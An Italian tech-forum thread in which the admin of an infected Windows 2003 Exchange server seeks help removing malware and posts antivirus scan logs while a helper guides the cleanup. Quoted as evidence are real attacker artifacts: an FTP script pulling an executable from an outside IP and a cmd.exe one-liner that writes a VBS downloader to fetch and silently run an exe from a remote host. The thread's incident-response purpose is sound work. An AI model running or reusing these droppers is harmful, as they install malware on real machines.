Win 2003 server -- virus

[cagnaluia]

Ciao,

non ho idea da dove siano arrivati, ma ho un server di posta exchange 2003 in piedi dal 2003 appunto... e solo da 1 mese a questa parte ho un bel casino con virus o acari vari...

è incredibile..


http://s14.postimage.org/8a6xdsv4h/virusss.png

http://s17.postimage.org/66c8u3qzj/virussss.jpg

http://s16.postimage.org/m0n1x5rhh/virusss3.png

credo di aver debellato un pò di roba a forza di tentativi con vari antivirus e tools tipo autoruns o procexp.. ma mi rimane sempre il dubbio che ci sia ancora qualcosa di nascosto..

purtroppo essendo un server di produzione mi viene difficile spianarlo e reinstallare tutto.

cosa ne pensate?


si sono fatti uno script che crea utenti farlocchi sulla macchina, tenta di installarsi su sql e imposta tutta una serie di sessione remote pronte per essere accedute...
l'antivirus trend micro nemmeno se ne accorge.. anche perchè probabilmente non si tratta esattamente di virus.
Ha cancellato qualcosa stinger.exe ... ma altro non so che dire.

all'interno di un file su c:\xp123.exe
...e così ce ne sono a decine sparsi un pò dappertutto.. pieni di roba varia..

open 115.239.226.140
123
123
get 123.exe c:\boot123.exe
bye

[xcdegasp]

segui la semplice procedura descritta in Guida alla Disinfezione per Infetti e pubblica tutti i log richiesti facendo attenzione alle Regole di Sezione, così potremmo aiutarti

[cagnaluia]

grazie,

sto passando step by step...


però scusami... questo non lo capisco.. ho impostato l'antivirus trendmicro che ELIMINI qualsiasi forma di virus, malware vero o presunto.. eppure.. guarda cosa scrive: IGNORATO..

http://s15.postimage.org/aw2opntff/virusss4.jpg

[xcdegasp]

si ogni tanto lo fa.. non commento per auto censura

[cagnaluia]

Originariamente inviato da xcdegasp

si ogni tanto lo fa.. non commento per auto censura

non commenti trend?

[cagnaluia]

spybotanddestroy non ha trovato nulla.. tutto pulito.

in compenso, nello stesso momento, trend fa questo:

http://s14.postimage.org/9980bjjhd/virusss5.jpg

http://postimage.org/image/pk847uvz1/

[cagnaluia]

ho comprato la licenza 1y di PREVX.... cancellato qualcosina ma niente di che..

[cagnaluia]

tanti altri dettagli:

guardate lo sporcaccione!





ma che caspita! perchè quel FTP finto sta sotto a SQLSERV.EXE ???

[xcdegasp]

prova quelli che ti ho consigliato che ti rilascieranno un'ottima radiografia del sistema.. se però non ti va fa' nulla ma sarà senz'altro più ardua

[cagnaluia]

sto facendo...

intanto lascio qualche altra info, non si sa mai..

"C:\WINDOWS\system32\cmd.exe" /c "@echo off&echo Set psp = CreateObject("Msxml2.XMLHTTP") >>c:\361.vbs&echo set ws=WScript.CreateObject("WScript.Shell") >>c:\361.vbs&echo psp.Open "GET","http://jindan962464.3322.org/office_se.exe",0 >>c:\361.vbs&echo psp.Send() >>c:\361.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>c:\361.vbs&echo aGet.Mode = 3 >>c:\361.vbs&echo aGet.Type = 1 >>c:\361.vbs&echo aGet.Open() >>c:\361.vbs&echo aGet.Write(psp.responseBody) >>c:\361.vbs&echo aGet.SaveToFile "c:\soffice_se.exe",2 >>c:\361.vbs&echo wscript.sleep 8000 >>c:\361.vbs&echo ws.Run "c:\soffice_se.exe",0 >>c:\361.vbs&c:\361.vbs"

[cagnaluia]

iniziamo...

AFT-Cleaner - fatto!

Malwarebytes Anti-Malware - fatto!

Malwarebytes Anti-Malware 1.61.0.1400
www.malwarebytes.org

Versione database: v2012.04.17.04

Windows Server 2003 Service Pack 2 x86 NTFS
Internet Explorer 8.0.6001.18702
Administrator :: MAIL [amministratore]

17/04/2012 17.16.57
mbam-log-2012-04-17 (17-16-57).txt

Tipo di scansione: Scansione veloce
Opzioni di scansione attive: Memoria | Esecuzione automatica | Registro | File system | Euristica/Extra | Euristica/Shuriken | PUP | PUM
Opzioni di scansione disattivate: P2P
Elementi esaminati: 251857
Tempo impiegato: 24 minuti, 38 secondi

Processi rilevati in memoria: 0
(non sono stati rilevati elementi nocivi)

Moduli di memoria rilevati: 0
(non sono stati rilevati elementi nocivi)

Chiavi di registro rilevate: 1
HKLM\SYSTEM\CurrentControlSet\SERVICES\DSLservereil (Trojan.Agent) -> Spostato in quarantena ed eliminato con successo.

Valori di registro rilevati: 0
(non sono stati rilevati elementi nocivi)

Voci rilevate nei dati di registro: 1
HKLM\SYSTEM\CurrentControlSet\Services\RemoteAccess\RouterManagers\Ip|DLLPath (Hijack.Iprouter) -> Cattivo: (C:\483700.dll) Buono: (%SystemRoot%\System32\iprtrmgr.dll) -> Spostato in quarantena e riparato con successo.

Cartelle rilevate: 0
(non sono stati rilevati elementi nocivi)

File rilevati: 4
C:\RECYCLER\bootsvchost.exe (Trojan.Agent) -> Spostato in quarantena ed eliminato con successo.
C:\RECYCLER\xpServer.exe (Trojan.Agent) -> Spostato in quarantena ed eliminato con successo.
C:\RECYCLER\xpsvchost.exe (Trojan.Agent) -> Spostato in quarantena ed eliminato con successo.
C:\RECYCLER\zysvchost.exe (Trojan.Agent) -> Spostato in quarantena ed eliminato con successo.

(fine)

Emsisoft Anti-Malware - fatto!

Emsisoft Anti-Malware - Versione 6.0
Ultimo aggiornamento: 23/04/2012 16.34.28

Impostazioni scansione:

Tipo scansione: Completa
Oggetti: Rootkit, Memoria, Tracce, C:\, E:\
Archivio scansioni: On
Scansione ADS: On

Scansione avviata: 23/04/2012 16.38.53

C:\bootserver.exe rilevati: Backdoor.Win32.Zegost!E2
C:\xpsys.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\WINDOWS\XXXXXXB3AD5E66\svchsot.exe rilevati: Trojan-Dialer!E2
C:\WINDOWS\system32\boot3.exe rilevati: Trojan-Proxy.Win32.Small.DT!E2
C:\WINDOWS\system32\bootserver.exe rilevati: Backdoor.Win32.Zegost!E2
C:\WINDOWS\system32\on1.exe rilevati: Trojan-Dialer!E2
C:\WINDOWS\system32\onexplorer.exe rilevati: Backdoor.Win32.Zegost!E2
C:\WINDOWS\system32\st3.exe rilevati: Trojan-Proxy.Win32.Small.DT!E2
C:\WINDOWS\system32\st1.exe rilevati: Trojan-Dialer!E2
C:\WINDOWS\system32\xpsvchost.exe rilevati: Win32.SuspectCrc!E2
C:\RECYCLER\onfQQmusic.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfMicrosoft.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfserver.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfexplorer.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfservies.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\st1.exe rilevati: Trojan-Dialer!E2
C:\RECYCLER\onfsvchost.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpoffice_se.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpsvchost.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpserver.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zyserver.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zyoffice_se.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zysvchost.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\bootserver.exe rilevati: Backdoor.Win32.Zegost!E2
C:\RECYCLER\xpwindows.exe rilevati: Trojan-Downloader.BAT.Small!E2
C:\Documents and Settings\onexplorer.exe rilevati: Backdoor.Win32.Zegost!E2
C:\Documents and Settings\st1.exe rilevati: Trojan-Dialer!E2
C:\Documents and Settings\on1.exe rilevati: Trojan-Dialer!E2
C:\Documents and Settings\onf1.dat rilevati: Trojan-Downloader.BAT.Small!E2
C:\Documents and Settings\All Users\Dati applicazioni\PrevxCSI\qc.csi rilevati: Exploit.Win32.ShellCode!E2
E:\Temp\crash sistema\driverview\DriverView.exe rilevati: Riskware.PSWTool.Win32.WinPassViewer.ah!E1
E:\SQL_Web_Pubblication\ftp\update.exe rilevati: Backdoor.Win32.Bifrose!E2

Scansionati 566658
Rilevato 32

Fine scansione: 23/04/2012 17.42.04
Tempo scansione: 1:03:11

E:\SQL_Web_Pubblication\ftp\update.exe In quarantena Backdoor.Win32.Bifrose!E2
E:\Temp\crash sistema\driverview\DriverView.exe In quarantena Riskware.PSWTool.Win32.WinPassViewer.ah!E1
C:\Documents and Settings\All Users\Dati applicazioni\PrevxCSI\qc.csi In quarantena Exploit.Win32.ShellCode!E2
C:\WINDOWS\system32\xpsvchost.exe In quarantena Win32.SuspectCrc!E2
C:\WINDOWS\system32\boot3.exe In quarantena Trojan-Proxy.Win32.Small.DT!E2
C:\WINDOWS\system32\st3.exe In quarantena Trojan-Proxy.Win32.Small.DT!E2
C:\WINDOWS\XXXXXXB3AD5E66\svchsot.exe In quarantena Trojan-Dialer!E2
C:\WINDOWS\system32\on1.exe In quarantena Trojan-Dialer!E2
C:\WINDOWS\system32\st1.exe In quarantena Trojan-Dialer!E2
C:\RECYCLER\st1.exe In quarantena Trojan-Dialer!E2
C:\Documents and Settings\st1.exe In quarantena Trojan-Dialer!E2
C:\Documents and Settings\on1.exe In quarantena Trojan-Dialer!E2
C:\xpsys.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfQQmusic.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfMicrosoft.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfserver.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfexplorer.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfservies.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\onfsvchost.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpoffice_se.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpsvchost.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpserver.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zyserver.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zyoffice_se.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\zysvchost.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\RECYCLER\xpwindows.exe In quarantena Trojan-Downloader.BAT.Small!E2
C:\Documents and Settings\onf1.dat In quarantena Trojan-Downloader.BAT.Small!E2
C:\bootserver.exe In quarantena Backdoor.Win32.Zegost!E2
C:\WINDOWS\system32\bootserver.exe In quarantena Backdoor.Win32.Zegost!E2
C:\WINDOWS\system32\onexplorer.exe In quarantena Backdoor.Win32.Zegost!E2
C:\RECYCLER\bootserver.exe In quarantena Backdoor.Win32.Zegost!E2
C:\Documents and Settings\onexplorer.exe In quarantena Backdoor.Win32.Zegost!E2

In quarantena 32

[cagnaluia]

F-Secure OnLine - NON fatto... mi pianta la macchina

[xcdegasp]

prova kaspersky tool o eset online

[cagnaluia]

ok @xcdegasp , inizio!

intanto oggi sono tornato in ufficio e ho questo bel spettacolo

[cagnaluia]

kaspersky tool, non ha trovato nulla... per lui è tutto pulito...

[cagnaluia]

eset online, NON si attiva il tasto START, quando accetto i termini d'uso..
errore sulla pagina con explorer. Il sito è inserito tra quelli attendibili.

[xcdegasp]

prosegui con la guida vediamo che succede

[cagnaluia]

ok,

Dr.Web.... niente, non ha trovato nulla

[cagnaluia]

adesso faccio partire F-secure online scanner...

ecco qui il rapporto:

Rapporto scansione
venerdì, aprile 27, 2012 12:17:40 - 12:56:59
Nome computer: MAIL
Tipo di scansione Analizza sistema per la ricerca di malware, spyware e rootkit
Destinazione: C:\ E:\


--------------------------------------------------------------------------------

9 malware rilevati
Generic.Botget.B93ACC52 (spyware)
Sistema (Disinfettati)
Generic.Botget.03095D3F (spyware)
Sistema (Disinfettati)
Generic.Botget.04E532F6 (spyware)
Sistema (Disinfettati)
Generic.Botget.C1DB5363 (spyware)
Sistema (Disinfettati)
Generic.Botget.B93ACC52 (virus)
C:\XPSVCHOST.EXE (Non rimossi)
Generic.Botget.04E532F6 (virus)
C:\ZYSVCHOST.EXE (Non rimossi)
Generic.Botget.C1DB5363 (virus)
C:\WINDOWS\SYSTEM32\XPSVCHOST.EXE (Non rimossi)
Generic.Botget.03095D3F (virus)
C:\WINDOWS\SYSTEM32\ZYSVCHOST.EXE (Non rimossi)
Generic.Botget.2EFE938F (virus)
C:\DOCUMENTS AND SETTINGS\ZYSVCHOST.EXE (Rinominati & Inviati)

--------------------------------------------------------------------------------

Statistiche
Analizzati:
File: 54656
Sistema: 3844
Non analizzati: 7
Azioni:
Disinfettati: 4
Rinominati: 1
Eliminati: 0
Non rimossi: 4
Inviati: 1
File non analizzati:
C:\PAGEFILE.SYS
C:\WINDOWS\SYSTEM32\CONFIG\DEFAULT
C:\WINDOWS\SYSTEM32\CONFIG\SAM
C:\WINDOWS\SYSTEM32\CONFIG\SECURITY
C:\WINDOWS\SYSTEM32\CONFIG\SOFTWARE
C:\WINDOWS\SYSTEM32\CONFIG\SYSTEM
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.ICP.IT\IMPOSTAZIONI LOCALI\TEMP\2\HSPERFDATA_ADMINISTRATOR\3676

[xcdegasp]

questi tre file:

C:\WINDOWS\SYSTEM32\XPSVCHOST.EXE 
C:\WINDOWS\SYSTEM32\ZYSVCHOST.EXE
C:\DOCUMENTS AND SETTINGS\ZYSVCHOST.EXE

riesci a farli scansionare su http://www.threatexpert.com/filescan.aspx ?
basta registrarsi gratuitamente e a fine analisi ti manderanno alla casella email, che hai usato in fase di registrazione, il link al risultato dell'analisi. ti chiedo poi di pubblicare questo link così posso vedere anche io

nel frattempo prova a proseguire con lo step successivo